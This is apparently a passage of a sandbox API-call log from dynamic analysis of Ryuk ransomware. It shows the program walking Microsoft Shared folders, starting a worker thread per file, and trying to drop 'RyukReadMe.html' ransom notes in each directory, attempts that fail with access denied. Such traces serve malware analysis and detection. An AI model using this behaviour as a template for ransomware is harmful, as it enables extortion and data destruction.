	[0167.730] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x96, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1
	[0167.730] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934
	[0167.733] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.733] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x96, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1
	[0167.733] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938
	[0167.736] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.736] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1
	[0167.736] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c
	[0167.863] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.864] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1
	[0167.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940
	[0167.866] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.867] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1
	[0167.867] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944
	[0167.870] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.870] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1
	[0167.870] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0167.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948
	[0167.872] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.873] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x96, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0
	[0167.873] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.876] SetLastError (dwErrCode=0x0) 
	[0167.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.974] GetLastError () returned 0x5
	[0167.974] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.974] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.974] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0
	[0167.974] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0167.975] SetLastError (dwErrCode=0x0) 
	[0167.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.975] GetLastError () returned 0x5
	[0167.975] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.975] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.975] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0167.975] SetLastError (dwErrCode=0x0) 
	[0167.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.976] GetLastError () returned 0x5
	[0167.976] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0167.976] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0167.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.977] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0167.977] SetLastError (dwErrCode=0x0) 
	[0167.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.977] GetLastError () returned 0x5
	[0167.977] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0167.978] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x86, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0167.992] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x86, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.992] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x86, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0167.993] SetLastError (dwErrCode=0x0) 
	[0167.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.993] GetLastError () returned 0x5
	[0167.993] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0167.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0168.082] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.082] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x90, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1
	[0168.083] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x90, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0168.083] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x90, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0
	[0168.083] FindClose (in: hFindFile=0x7a340 | out: hFindFile=0x7a340) returned 1
	[0168.083] SetLastError (dwErrCode=0x0) 
	[0168.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.083] GetLastError () returned 0x5
	[0168.083] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0168.083] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.084] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1
	[0168.084] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94c
	[0168.087] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.088] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0168.088] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1
	[0168.088] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1
	[0168.088] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x86, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0
	[0168.088] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0168.088] SetLastError (dwErrCode=0x0) 
	[0168.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.089] GetLastError () returned 0x5
	[0168.089] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0168.089] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.089] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x7c, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1
	[0168.089] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1
	[0168.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904
	[0168.091] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.092] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x7c, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1
	[0168.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x86b0000
	[0168.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950
	[0168.095] VirtualFree (lpAddress=0x86b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.097] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x7c, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0
	[0168.097] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0168.097] SetLastError (dwErrCode=0x0) 
